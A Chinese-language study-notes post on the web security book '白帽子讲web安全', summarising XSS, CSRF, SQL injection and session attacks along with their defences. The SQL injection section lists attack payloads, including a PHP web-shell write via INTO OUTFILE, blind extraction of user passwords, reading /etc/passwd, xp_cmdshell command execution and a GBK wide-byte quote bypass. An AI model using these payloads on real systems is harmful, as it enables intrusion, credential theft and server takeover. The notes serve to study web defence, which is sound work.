白帽子讲web安全 读书笔记

来源:互联网 发布:淘宝店一般能赚多少钱 编辑:程序博客网 时间:2024/04/18 13:47

第三章:xss

分类:反射型、存储型、Dom型 效果和反射型类似 但是是通过修改dom节点形成的

防御:

设置cookie的Httponly属性,浏览器会禁用此cookie

输入检查、输出检查、htmlencode

 
第四章:csrf

本质:重要的参数被攻击者发现

浏览器的Cookie:

  session cookie/临时cookie                    关闭页面就没了
  php header(“Set-cookie:cookie1=123;”)
  第三方cookie/本地cookie  有expire          保存在本地
  php header(“Set-cookie:cookie1=123; expires=  time”,false)
  
  第三方cookie有的浏览器默认会拦截,不让发送。比如IE Safari
  通过b的iframe请求a,默认浏览器拦截第三方cookie。
  
  如果网站返回给浏览器的HTTP头中有P3P头,那么允许发送第三方cookie。
 
  如果服务端是用request来接受参数,get和post无所谓。

  如果是用post来接受,那么可以构造一个form,用js来提交。

CSRF worm

  Sn参数遍历可以给任意人发消息,百度的另一个接口可以查所有的好友。
  那么攻击者,查看页面后,给所有好友发短消息,消息中包含图片,再次转发给所有好友。
  
  
CSRF 防御
  验证码
  检查Referer(缺陷:浏览器并不是什么时候都可以读取referer
  https转到http 浏览器也不会发referer
  某些客户端插件可能允许自定义referer)
  Token(主要手段)
1.Token要同时放在表单和session(或者cookie)中,最好是post传输。
2.每次提交,服务端验证表单中的token和session(cookie)中的session是否一致。

XSRF就是XSS结合CSRF。XSS获取cookie中的token,再用csrf攻击。


第七章:注入

判断方法:

1. and 1=1 / and 1=2

2.mysql 中 id=1 and sleep(5)       #延时注入

3.mysql 中 benchmark(100000encode(abc’,‘abc)#延时注入

利用技巧:

1.mysql中常用的函数  database()  system_user()  current_user()  last_insert_id()

2.写入一句话:select "<?php eval($_POST[1]);?>" into outfile "网站绝对路径"

3.  id = 1 and substring(@@version,1,1)=5

4.  id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>64

5.  id = 1 union select 1,1,load_file('/etc/passwd')

6. mssql中利用存储过程执行系统命令  EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

7. 数据库编码若为gbk 会把识别0xbf5caddslashes会把 0x27变成0x5c27,那么构造payload 0xbf27,即可插入单引号注入。

8.sql column truncation是因为定义column长度varchar时值太小,若STRICT_ALL_TABLES开启,那么可以插入 溢出部分不同 的值会成功。

防御:

1.1预编译:绑定变量,不能改变sql的语义(参数化查询)

php$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);

1.2使用存储过程,调用存在数据库里的函数。

1.3设置变量的值,比如固定为integer

1.4使用定义好的安全函数来转义。

1.5设置数据库用户的最小权限。

2.1php中的过滤函数:

php.ini magic_quotes_gpc 开启的话,输入的字符串会被转义,多加一个\

若没有开启magic_quotes_gpc,用addslashes(),强制在单引号上加\(可能将0xbf27 变成0xbf 5c 27,如果数据库是gbk,会识别0xbf5c,统一编码即可解决)

mysql_real_escape_string() 考虑字符集

mysql_escape_string() 不考虑字符集 ( php5.3已经弃用)



第九章:认证与会话管理

9.1 认证是为了认出用户是谁,授权是决定用户可以做什么。

9.2 密码的保存最好是用单向散列函数算法,不可逆的算法,保存在数据库中。

若为md5,最好加盐,保存在服务器的配置文件中,妥善保管。

9.3 多因素认证,比如手机动态口令等等可以提高安全性。

9.4 Session与认证

SessionID通常可以保存在cookie中,受浏览器的同源策略保护。

SessionID也可以放在url中,(某些手机客户端没有cookie),会带来一些隐患。比如访问第三方资源,通过refer参数泄漏sid

9.5 Session Fixation攻击

如果服务端没有在用户授权之后,使用一个新的session,可能造成session固定攻击。

攻击者,发送url(包含sid),受害者点击url授权,sid未改变,攻击者即拿到了sid

9.6 Session保持攻击

Session保持即不断刷新网页,不让session过期。

如果Session是保存在Cookie中,那么攻击者可以修改CookieExpire标签,不让其过期。那么该Cookie即变成了第三方的Cookie

修复方法,即在session初始分配的时候,在服务端设置期限,强制其过期。

9.7 SSO 单点登录

Single Sign On ,用户只需要登录一次,获得一个唯一的url,即可访问所有系统。虽然可以降低了业务的复杂性,但是也依赖于第三方的OpenID,所以OpenID也收到了限制。




0 0